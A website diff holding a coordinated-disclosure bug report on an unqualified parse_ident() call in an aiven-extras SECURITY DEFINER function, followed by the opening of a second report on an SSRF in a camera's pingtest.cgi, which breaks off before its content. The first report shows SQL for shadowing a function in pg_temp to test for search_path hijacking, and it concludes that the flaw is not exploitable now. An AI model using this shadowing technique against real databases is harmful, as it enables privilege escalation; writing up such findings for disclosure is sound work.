| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/pg-unqualified-parse-ident-secdef/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Report: Unqualified `parse_ident()` in SECURITY DEFINER Function (CVE-2025-31480 Variant) | Zion Boggan"> | |
| + | <meta property="og:description" content="`parse_ident` without schema qualification inside SECDEF: variant of CVE-2025-31480 territory."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/pg-unqualified-parse-ident-secdef/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Report: Unqualified `parse_ident()` in SECURITY DEFINER Function (CVE-2025-31480 Variant) | Zion Boggan"> | |
| + | <meta name="twitter:description" content="`parse_ident` without schema qualification inside SECDEF: variant of CVE-2025-31480 territory."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Report: Unqualified `parse_ident()` in SECURITY DEFINER Function (CVE-2025-31480 Variant)","description":"`parse_ident` without schema qualification inside SECDEF: variant of CVE-2025-31480 territory.","url":"https://zionboggan.com/security-research-notebook/pg-unqualified-parse-ident-secdef/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Privilege escalation</div> | |
| + | <h1>Report: Unqualified `parse_ident()` in SECURITY DEFINER Function (CVE-2025-31480 Variant)</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h2>Metadata</h2> | |
| + | <ul> | |
| + | <li><strong>Target</strong>: Aiven for PostgreSQL (Tier 2)</li> | |
| + | <li><strong>Target Location</strong>: Aiven for PostgreSQL</li> | |
| + | <li><strong>Target Category</strong>: Other</li> | |
| + | <li><strong>VRT</strong>: Server Security Misconfiguration > Database Management System (DBMS) Misconfiguration > Excessively Privileged User / DBA</li> | |
| + | <li><strong>Priority</strong>: P4 (Suggested)</li> | |
| + | <li><strong>Bug URL</strong>: https://github.com/aiven/aiven-extras/blob/main/sql/aiven_extras.sql</li> | |
| + | </ul> | |
| + | <hr /> | |
| + | <h2>Title</h2> | |
| + | <p>Incomplete Remediation of CVE-2025-31480: Unqualified <code>parse_ident()</code> Call in <code>aiven_extras.pg_create_publication()</code> SECURITY DEFINER Function</p> | |
| + | <h2>Summary</h2> | |
| + | <p>The <code>aiven_extras.pg_create_publication()</code> SECURITY DEFINER function (owner: <code>postgres</code>, runs with superuser privileges) calls <code>parse_ident()</code> without the <code>pg_catalog.</code> schema prefix. This is the same vulnerability class as CVE-2025-31480 (unqualified function calls in SECURITY DEFINER functions enabling search_path hijacking) and CVE-2023-32305.</p> | |
| + | <p>While <code>parse_ident()</code> is a built-in function residing in <code>pg_catalog</code> (which is always searched first regardless of search_path), this represents incomplete hardening: every other function call in the <code>aiven_extras</code> SECURITY DEFINER functions is explicitly schema-qualified with <code>pg_catalog.</code>, making this omission inconsistent with the security pattern established after CVE-2025-31480.</p> | |
| + | <h2>Root Cause</h2> | |
| + | <p>In <code>aiven_extras.pg_create_publication()</code>, line ~501 of <code>aiven_extras.sql</code>:</p> | |
| + | <pre><code class="language-sql">CREATE OR REPLACE FUNCTION aiven_extras.pg_create_publication( | |
| + | arg_publication_name text, arg_publish text, | |
| + | VARIADIC arg_tables text[] DEFAULT ARRAY[]::text[]) | |
| + | RETURNS void | |
| + | LANGUAGE plpgsql | |
| + | SECURITY DEFINER | |
| + | SET search_path TO 'pg_catalog' | |
| + | AS $function$ | |
| + | DECLARE | |
| + | l_ident TEXT; | |
| + | l_parsed_ident TEXT[]; | |
| + | -- ... | |
| + | BEGIN | |
| + | -- ... | |
| + | FOREACH l_ident IN ARRAY arg_tables LOOP | |
| + | l_parsed_ident = parse_ident(l_ident); -- UNQUALIFIED: should be pg_catalog.parse_ident() | |
| + | -- ... | |
| + | END LOOP; | |
| + | -- ... | |
| + | END; | |
| + | $function$ | |
| + | </code></pre> | |
| + | <p>For comparison, every other function call in the same function and across all other SECURITY DEFINER functions in <code>aiven_extras</code> 1.1.18 uses explicit schema qualification: | |
| + | - <code>pg_catalog.format(...)</code> | |
| + | - <code>pg_catalog.array_length(...)</code> | |
| + | - <code>pg_catalog.left(...)</code> | |
| + | - <code>pg_catalog.current_setting(...)</code> | |
| + | - <code>pg_catalog.current_database()</code> | |
| + | - <code>pg_catalog.set_config(...)</code></p> | |
| + | <p><code>parse_ident()</code> is the <strong>only</strong> unqualified function call across all 19 SECURITY DEFINER functions in the extension.</p> | |
| + | <h2>Steps to Reproduce</h2> | |
| + | <h3>Step 1: Verify the unqualified call exists</h3> | |
| + | <pre><code class="language-sql">CREATE EXTENSION IF NOT EXISTS aiven_extras; | |
| + | ||
| + | -- Dump the function source and search for unqualified calls | |
| + | SELECT prosrc FROM pg_proc | |
| + | WHERE proname = 'pg_create_publication' | |
| + | AND pronamespace = (SELECT oid FROM pg_namespace WHERE nspname = 'aiven_extras'); | |
| + | </code></pre> | |
| + | <p><strong>Output contains:</strong></p> | |
| + | <pre><code>l_parsed_ident = parse_ident(l_ident); | |
| + | </code></pre> | |
| + | <h3>Step 2: Verify all other calls ARE qualified</h3> | |
| + | <pre><code class="language-sql">-- Get all SECDEF function sources, grep for function calls | |
| + | SELECT proname, prosrc FROM pg_proc | |
| + | WHERE prosecdef = true | |
| + | AND pronamespace = (SELECT oid FROM pg_namespace WHERE nspname = 'aiven_extras') | |
| + | ORDER BY proname; | |
| + | </code></pre> | |
| + | <p>Manual audit confirms: <code>parse_ident</code> is the only unqualified function call.</p> | |
| + | <h3>Step 3: Demonstrate that pg_catalog resolution prevents immediate exploitation</h3> | |
| + | <pre><code class="language-sql">-- Create a shadowing function in pg_temp | |
| + | CREATE OR REPLACE FUNCTION pg_temp.parse_ident(text) | |
| + | RETURNS text[] AS $$ | |
| + | BEGIN | |
| + | RAISE NOTICE 'HIJACKED!'; | |
| + | RETURN ARRAY['public', 'test']; | |
| + | END; | |
| + | $$ LANGUAGE plpgsql; | |
| + | ||
| + | -- Explicit pg_temp call works: | |
| + | SELECT pg_temp.parse_ident('test'); | |
| + | -- NOTICE: HIJACKED! | |
| + | ||
| + | -- Unqualified call still resolves to pg_catalog (because pg_catalog is always first): | |
| + | SET search_path TO 'pg_catalog'; | |
| + | SELECT parse_ident('public.test'); | |
| + | -- Returns {public,test} from pg_catalog version (no NOTICE) | |
| + | </code></pre> | |
| + | <h2>Why This Matters Despite pg_catalog Priority</h2> | |
| + | <ol> | |
| + | <li> | |
| + | <p><strong>Incomplete remediation pattern</strong>: CVE-2025-31480 was fixed in v1.1.16 by adding <code>pg_catalog.</code> prefixes to <code>format()</code> calls. The same fix was NOT applied to <code>parse_ident()</code>, indicating the audit was incomplete.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Future risk</strong>: If PostgreSQL ever changes <code>parse_ident()</code> resolution behavior, or if <code>parse_ident</code> is moved out of <code>pg_catalog</code> in a future version, this becomes immediately exploitable for superuser escalation.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Defense in depth</strong>: The security best practice for SECURITY DEFINER functions (documented in PostgreSQL CVE-2018-1058 guidance) is to <strong>explicitly qualify ALL function calls</strong>. Leaving even one unqualified is a hardening gap.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Audit confidence</strong>: Security reviewers checking if the CVE-2025-31480 fix was complete would find this omission and question whether other unqualified calls were missed in other code paths.</p> | |
| + | </li> | |
| + | </ol> | |
| + | <h2>Impact</h2> | |
| + | <ul> | |
| + | <li><strong>Current</strong>: No direct exploitation possible (pg_catalog is always searched first for built-in functions)</li> | |
| + | <li><strong>Risk classification</strong>: Incomplete security hardening / defense-in-depth gap</li> | |
| + | <li><strong>Severity</strong>: P4, Hardening deficiency, same vulnerability class as two prior CVEs (CVE-2023-32305, CVE-2025-31480)</li> | |
| + | </ul> | |
| + | <h2>Recommended Fix</h2> | |
| + | <p>Single-line fix in <code>aiven_extras.sql</code>:</p> | |
| + | <pre><code class="language-diff">- l_parsed_ident = parse_ident(l_ident); | |
| + | + l_parsed_ident = pg_catalog.parse_ident(l_ident); | |
| + | </code></pre> | |
| + | <h2>References</h2> | |
| + | <ul> | |
| + | <li>CVE-2025-31480: https://github.com/aiven/aiven-extras/security/advisories/GHSA-33xh-jqgf-6627</li> | |
| + | <li>CVE-2023-32305: https://github.com/aiven/aiven-extras/security/advisories/GHSA-7r4w-fw4h-67gp</li> | |
| + | <li>PostgreSQL search_path security: https://wiki.postgresql.org/wiki/A_Guide_to_CVE-2018-1058</li> | |
| + | <li>aiven-extras version tested: 1.1.18 (PostgreSQL 17.9 on Aiven free tier)</li> | |
| + | </ul> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/aiven/pg-unqualified-parse-ident-secdef.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,424 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Server-Side Request Forgery via pingtest.cgi Missing Address Validation | Zion Boggan</title> | |
| + | <meta name="description" content="`pingtest.cgi` skips the camera&#x27;s own `validateaddr` helper."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/pingtest-ssrf-missing-validateaddr/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Server-Side Request Forgery via pingtest.cgi Missing Address Validation | Zion Boggan"> | |
| + | <meta property="og:description" content="`pingtest.cgi` skips the camera&#x27;s own `validateaddr` helper."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/pingtest-ssrf-missing-validateaddr/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Server-Side Request Forgery via pingtest.cgi Missing Address Validation | Zion Boggan"> | |
| + | <meta name="twitter:description" content="`pingtest.cgi` skips the camera&#x27;s own `validateaddr` helper."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Server-Side Request Forgery via pingtest.cgi Missing Address Validation","description":"`pingtest.cgi` skips the camera&#x27;s own `validateaddr` helper.","url":"https://zionboggan.com/security-research-notebook/pingtest-ssrf-missing-validateaddr/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">SSRF</div> | |
| + | <h1>Server-Side Request Forgery via pingtest.cgi Missing Address Validation</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
